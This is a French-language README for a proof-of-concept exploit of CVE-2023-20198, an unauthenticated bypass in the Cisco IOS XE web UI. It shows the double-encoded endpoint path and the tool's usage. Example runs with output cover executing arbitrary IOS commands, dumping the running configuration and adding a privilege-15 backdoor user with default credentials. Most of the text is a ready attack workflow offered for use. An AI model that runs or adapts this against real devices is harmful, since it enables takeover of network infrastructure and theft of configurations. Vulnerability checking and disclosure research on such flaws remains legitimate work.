
Exploit de preuve de concept pour CVE-2023-20198 ciblant l'interface Web de Cisco IOS XE. Permet l'exécution de commandes à distance non authentifiée, la récupération de configuration et l'élévation de privilèges via des points de terminaison SOAP.
PoC d'exploitation pour CVE-2023-20198
CVE-2023-20198 est caractérisé par une validation de chemin incorrecte permettant de contourner le filtrage Nginx pour atteindre le point de terminaison web webui_wsma_http sans nécessiter d'authentification.
En contournant l'authentification de ce point de terminaison, un attaquant peut exécuter des commandes Cisco IOS arbitraires ou effectuer des modifications de configuration avec les privilèges de niveau 15.
L'enquête de Cisco sur l'exploitation active de cette vulnérabilité auparavant non divulguée a révélé que des acteurs malveillants ont d'abord exploité CVE-2023-20198 pour ajouter un nouvel utilisateur avec un niveau de privilège 15. Des attaques ultérieures ont impliqué l'exploitation de CVE-2023-20273 pour escalader vers l'utilisateur root du système d'exploitation Linux sous-jacent afin de faciliter l'implantation.
Ce PoC exploite CVE-2023-20198 pour utiliser deux points de terminaison XML SOAP différents :
Les options de vérification de vulnérabilité, de configuration et d'exécution de commandes ciblent toutes le point de terminaison SOAP cisco:wsma-exec pour insérer des commandes dans la balise d'élément execCLI.
L'option d'ajout d'utilisateur cible le point de terminaison SOAP cisco:wsma-config pour effectuer une modification de configuration et ajouter le compte de niveau 15. Ce point de terminaison pourrait être [ab]usé pour effectuer d'autres modifications de configuration, mais cela dépasse le cadre de ce PoC.
L'abus du point de terminaison SOAP cisco:wsma-exec provient du template nuclei
L'abus du point de terminaison SOAP cisco:wsma-config provient du PoC d'horizon3ai
Note : Je n'ai mené aucune des recherches originales ni le développement du PoC pour cette CVE. Voir la section des références pour les crédits.
usage: exploit.py [-h] (-t targetIP | -l targetFile) [-https] (-c | -g | -e command | -a | -d) [-u newUserName] [-p newUserPass] [-o outputFile] [-v]
CVE-2023-20198 Exploit PoC
options:
-h, --help show this help message and exit
-t targetIP Target IP Address
-l targetFile File containing IP Addresses (-c only)
-https Use https
-c [X] Check for vulnerability
-g [X] Get Cisco IOS running config
-e command [X] Execute Cisco IOS command
-a [X] Add new priv 15 user
-d [X] Remove priv 15 user
-u newUserName [Optional] user name for -a or -d. Default: shellsmoke
-p newUserPass [Optional] new user pass for -a. Default: pwned
-o outputFile Write output to file
-v Increase verbosity
Pour vérifier la présence de CVE-2023-20198, -c tentera d'exploiter la vulnérabilité pour exécuter uname -a
Exemple :
# ./exploit.py -t 10.0.0.1 -c
Testing for vulnerability
Target IP: 10.0.0.1
Target URL: http://10.0.0.1/%2577eb%2575i_%2577sma_Http
Vulnerable: True
IOS Ver: <REDACTED> IOS 16.6 Cisco IOS Software [Everest], Catalyst L3 Switch Software (CAT3K_CAA-UNIVERSALK9-M), Version 16.6.5, RELEASE SOFTWARE (fc3)
L'option -g exécute sh run pour récupérer la configuration en cours
Exemple :
# ./exploit.py -t 10.0.0.1 -g
Building configuration...
Current configuration : 6988 bytes
!
...
!
version 16.6
no service pad
service timestamps debug datetime msec
service timestamps log datetime msec
...
Des commandes Cisco IOS arbitraires peuvent être exécutées avec l'option -e.
Une extrême prudence doit être utilisée lorsqu'on l'utilise pour effectuer des modifications de configuration. Il n'y a aucune validation des entrées et les modifications sont appliquées immédiatement à la configuration en cours.
Exemple :
# ./exploit.py -t 10.0.0.1 -e 'sh log'
Selected Target: 10.0.0.1
Running in Exec Mode
Executing Command: sh log
Sending exploit to target URL: http://10.0.0.1/%2577eb%2575i_%2577sma_Http
Syslog logging: enabled (0 messages dropped, 1 messages rate-limited, 0 flushes, 0 overruns, xml disabled, filtering disabled)
No Active Message Discriminator.
No Inactive Message Discriminator.
Console logging: level debugging, 5368 messages logged, xml disabled,
filtering disabled
...
L'option -a peut être utilisée pour créer un nouveau compte utilisateur de niveau 15, avec la possibilité de spécifier le nom du compte et le mot de passe avec -u et -p respectivement.
Exemple :
# ./exploit.py -t 10.0.0.1 -a -u shellsmoke -p pwned
Selected Target: 10.0.0.1
Adding New Privilege 15 User
New User Name: shellsmoke
New User Pass: pwned
Sending exploit to target URL: http://10.0.0.1/%2577eb%2575i_%2577sma_Http
No reportable output from adding users
Check verbose ouput or get running config
Done.
L'option -d peut être utilisée pour supprimer un compte utilisateur de l'appareil, et respecte le nom d'utilisateur spécifié avec -u.
Il faut être prudent pour s'assurer de ne pas supprimer un compte légitime.
Cette option a été ajoutée pour les cas où l'accès shell/webui à un Cisco exploité ne peut être obtenu. Il a été observé que l'ajout d'un utilisateur de niveau 15 n'accorde pas l'accès webui et pourrait laisser des artefacts d'exploitation sur les hôtes.
Avis de Cisco
Recherche horizon3ai sur CVE-2023-20198
PoC d'horizon3ai pour CVE-2023-20198